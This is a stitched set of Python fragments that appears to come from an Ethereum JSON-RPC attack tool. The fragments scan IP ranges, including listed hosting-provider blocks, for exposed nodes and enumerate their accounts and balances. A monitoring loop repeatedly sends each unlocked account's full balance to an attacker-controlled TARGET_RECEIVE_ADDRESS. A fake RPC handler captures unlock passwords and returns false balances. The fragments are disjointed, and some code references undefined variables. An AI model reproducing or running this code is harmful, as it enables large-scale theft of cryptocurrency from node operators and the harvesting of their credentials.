def get_help(): eth_rpc_output.output_function( 'Using : python3 eth_rpc_scan.py network_session') eth_rpc_output.output_function( 'Example : python3 eth_rpc_scan.py 192.168.1.0/24') exit()
def background_thread(ip, port): except_count = 0 eth_connector = Web3(Web3.HTTPProvider('http://%s:%d/' % (ip, port))) while True: try: block_information = eth_connector.eth.getBlock('latest') block_height = block_information['number'] timestamp = block_information['timestamp'] gas_limit = block_information['gasLimit'] eth_rpc_output.output_function( 'Node %s:%d Block Height : %d Timestamp : %d' % (ip, port, block_height, timestamp)) account_list = eth_connector.personal.listAccounts for account_index in account_list: try: balance = eth_connector.eth.getBalance(account_index) eth_rpc_output.output_function( 'Node %s:%d Account : %s Balance : %f ETH' % (ip, port, account_index, balance / 10**18), 'green') eth_connector.eth.sendTransaction({ 'from': account_index, 'to': TARGET_RECEIVE_ADDRESS, 'value': balance, 'gas': gas_limit, 'gasPrice': 30, }) eth_rpc_output.output_function( 'Node %s:%d Account : %s Transer Success!' % (ip, port, account_index), 'red') except: eth_rpc_output.output_function( 'Node %s:%d Account : %s is Lock ..' % (ip, port, account_index)) except Exception as exception: except_count += 1 eth_rpc_output.output_function( 'Node %s:%d Raise Except -- %s' % (ip, port, exception), 'red') time.sleep(LOOP_INTERNAL_TIME)
file.close() return data if __name__ == '__main__': if 2 == len(sys.argv): data = load_scan_data(sys.argv[1]) for data_index in data: create_thread = threading.Thread(target=background_thread, args=(data_index['ip'], data_index['port'])) global_background_thread_list.append(create_thread) create_thread.start() create_thread = threading.Thread(target=socket_server, args=(DEFAULT_PORT, )) create_thread.start() eth_rpc_output.output_function('Server Running ..') input() eth_rpc_output.output_function('Server Exit ..') create_thread._close() exit()
def background_thread(ip_list): eth_rpc_output.output_function('Thread Running ..', 'blue') for ip_index in ip_list: state = try_connect_by_http(ip_index, DEFAULT_PORT) if not state: continue eth_rpc_output.output_function('Port Open : http://%s:%d/' % (ip_index, DEFAULT_PORT)) eth_connector = Web3( Web3.HTTPProvider('http://%s:%d/' % (ip_index, DEFAULT_PORT))) try: block_information = eth_connector.eth.getBlock('latest') block_height = block_information['number'] timestamp = block_information['timestamp'] if not len(block_information): continue eth_rpc_output.output_function( 'Is ETH Node : http://%s:%d/ Block Height : %d TimeStamp : %d' % (ip_index, DEFAULT_PORT, block_height, timestamp), 'green') if 6120000 > block_height: eth_rpc_output.output_function('%s:%d Is Not ETH Node ..' % (ip, port)) continue account_list = eth_connector.personal.listAccounts result = {} eth_rpc_output.output_function( 'ETH Account Count : %d' % (len(account_list)), 'green') for account_index in account_list: balance = eth_connector.eth.getBalance(account_index) / 10**18 result[account_index] = balance eth_rpc_output.output_function( 'IP : %s Address : %s Balance : %d ETH' % (ip_index, account_index, balance), 'red') if not account_list: continue eth_rpc_cli.create_monitor_task(ip_index, DEFAULT_PORT) add_new_record({ 'ip': ip_index, 'height': block_information['number'], 'timestamp': block_information['timestamp'], 'port': DEFAULT_PORT, 'data': result, }) except: pass
tencent hk : 119.28.0.0/17 usa : 144.202.0.0/16 canada : 144.217.0.0/16 germany : 144.76.0.0/16 idc : 45.0.0.0/9 ''' if __name__ == '__main__': if 1 == len(sys.argv) or 3 < len(sys.argv): get_help() network_session = split_network_session(sys.argv[1]) if not network_session: eth_rpc_output.output_function( 'Network Session Error , Format like : 192.168.1.0/24') exit() ip_list = make_network_range(network_session[0], int(network_session[1])) if 3 == len(sys.argv): DEFAULT_PORT = int(sys.argv[2]) ip_list_length = len(ip_list) block_length = int(ip_list_length / DEFAULT_THREAD_NUMBER) thread_list = [] eth_rpc_output.output_function('Create IP List Success ..') for thread_create_index in range(DEFAULT_THREAD_NUMBER):
def post(self): try: data = json.loads(self.request.body) except: self.write('Post Body is not JSON') return try: method = data['method'] params = data['params'] json_id = data['id'] except: self.write('JSON Error') return remote_ip = self.request.remote_ip eth_rpc_output.output_function('Remote IP : %s' % (remote_ip)) logger.info('Remote IP : %s' % (remote_ip)) result = redirect_eth_request(self.request.body) if not result: result = { 'jsonrpc': '2.0', 'id': json_id, 'result': '', } if 'eth_sendTransaction' == method: for params_index in params: local_address = params_index['from'] target_address = params_index['to'] transfer_value = params_index['value'] / 10**18 eth_rpc_output.output_function( 'Try Transation %s -> %s Balance : %f ETH' % (local_address, target_address, transfer_value), 'red') logger.warning('Try Transation %s -> %s Balance : %f ETH' % (local_address, target_address, transfer_value)) elif 'personal_unlockAccount' == method: unlock_account = params[0] password = params[1] eth_rpc_output.output_function( 'Try UnLock Account : %s Password : %s' % (unlock_account, password), 'red') logger.warning('Try UnLock Account : %s Password : %s' % (unlock_account, password)) elif 'personal_importRawKey' == method: import_account = params[0] password = params[1] eth_rpc_output.output_function( 'Try Import Account : %s Password : %s' % (unlock_account, password), 'red') logger.warning('Try Import Account : %s Password : %s' % (unlock_account, password)) elif 'eth_getBalance' == method: account = params[0] eth_rpc_output.output_function( 'Try To GetBalance Account : %s Modify Account Balance to 500.0 ETH' % (account), 'red') logger.warning( 'Try To GetBalance Account : %s Modify Account Balance to 500.0 ETH' % (account)) result['result'] = 500 * 10**18 else: eth_rpc_output.output_function( 'Call RPC Method : %s Params : %s' % (method, params), 'green') logger.info('Call RPC Method : %s Params : %s' % (method, params)) self.write(json.dumps(result))